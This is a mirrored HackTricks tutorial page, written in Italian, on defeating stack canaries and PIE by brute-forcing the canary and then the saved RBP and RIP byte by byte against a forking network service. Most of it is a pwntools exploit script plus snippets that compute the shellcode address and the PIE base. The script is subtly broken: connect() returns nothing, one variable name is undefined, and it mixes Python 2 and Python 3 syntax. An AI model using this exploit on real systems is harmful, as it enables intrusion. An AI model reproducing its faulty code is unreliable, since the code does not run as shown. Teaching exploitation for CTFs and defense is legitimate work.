mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
91 lines
4.4 KiB
Markdown
91 lines
4.4 KiB
Markdown
# BF Indirizzi nello Stack
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**Se stai affrontando un binario protetto da un canary e PIE (Position Independent Executable) probabilmente devi trovare un modo per bypassarli.**
|
|
|
|
.png>)
|
|
|
|
> [!NOTE]
|
|
> Nota che **`checksec`** potrebbe non rilevare che un binario è protetto da un canary se questo è stato compilato staticamente e non è in grado di identificare la funzione.\
|
|
> Tuttavia, puoi notarlo manualmente se scopri che un valore è salvato nello stack all'inizio di una chiamata di funzione e questo valore viene controllato prima di uscire.
|
|
|
|
## Indirizzi Brute-Force
|
|
|
|
Per **bypassare il PIE** devi **leakare qualche indirizzo**. E se il binario non sta leakando indirizzi, il modo migliore per farlo è **brute-forzare il RBP e il RIP salvati nello stack** nella funzione vulnerabile.\
|
|
Ad esempio, se un binario è protetto utilizzando sia un **canary** che **PIE**, puoi iniziare a brute-forzare il canary, poi i **prossimi** 8 Byte (x64) saranno il **RBP** salvato e i **prossimi** 8 Byte saranno il **RIP** salvato.
|
|
|
|
> [!TIP]
|
|
> Si suppone che l'indirizzo di ritorno all'interno dello stack appartenga al codice binario principale, che, se la vulnerabilità si trova nel codice binario, sarà di solito il caso.
|
|
|
|
Per brute-forzare il RBP e il RIP dal binario puoi capire che un byte indovinato valido è corretto se il programma restituisce qualcosa o semplicemente non si blocca. La **stessa funzione** fornita per brute-forzare il canary può essere utilizzata per brute-forzare il RBP e il RIP:
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
# CANARY BF HERE
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
|
|
# PIE BF FROM HERE
|
|
print("Brute-Forcing RBP")
|
|
base_canary_rbp = get_bf(base_canary)
|
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
|
print("Brute-Forcing RIP")
|
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|
```
|
|
L'ultima cosa di cui hai bisogno per sconfiggere il PIE è calcolare **indirizzi utili dagli indirizzi leakati**: il **RBP** e il **RIP**.
|
|
|
|
Dal **RBP** puoi calcolare **dove stai scrivendo il tuo shell nella stack**. Questo può essere molto utile per sapere dove andrai a scrivere la stringa _"/bin/sh\x00"_ all'interno della stack. Per calcolare la distanza tra il RBP leakato e il tuo shellcode puoi semplicemente mettere un **breakpoint dopo aver leakato il RBP** e controllare **dove si trova il tuo shellcode**, poi, puoi calcolare la distanza tra il shellcode e il RBP:
|
|
```python
|
|
INI_SHELLCODE = RBP - 1152
|
|
```
|
|
Dalla **RIP** puoi calcolare il **base address del binary PIE** che è ciò di cui hai bisogno per creare un **valid ROP chain**.\
|
|
Per calcolare il base address basta fare `objdump -d vunbinary` e controllare gli indirizzi disassemblati più recenti:
|
|
|
|
.png>)
|
|
|
|
In quell'esempio puoi vedere che sono necessari solo **1 Byte e mezzo** per localizzare tutto il codice, quindi, il base address in questa situazione sarà la **RIP leak ma che termina con "000"**. Ad esempio, se hai leakato `0x562002970ecf`, il base address è `0x562002970000`
|
|
```python
|
|
elf.address = RIP - (RIP & 0xfff)
|
|
```
|
|
## Miglioramenti
|
|
|
|
Secondo [**alcune osservazioni di questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), è possibile che quando si perdono i valori RBP e RIP, il server non si blocchi con alcuni valori che non sono quelli corretti e lo script BF penserà di aver ottenuto quelli giusti. Questo perché è possibile che **alcuni indirizzi semplicemente non lo romperanno anche se non sono esattamente quelli corretti**.
|
|
|
|
Secondo quel post del blog, si raccomanda di aggiungere un breve ritardo tra le richieste al server.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|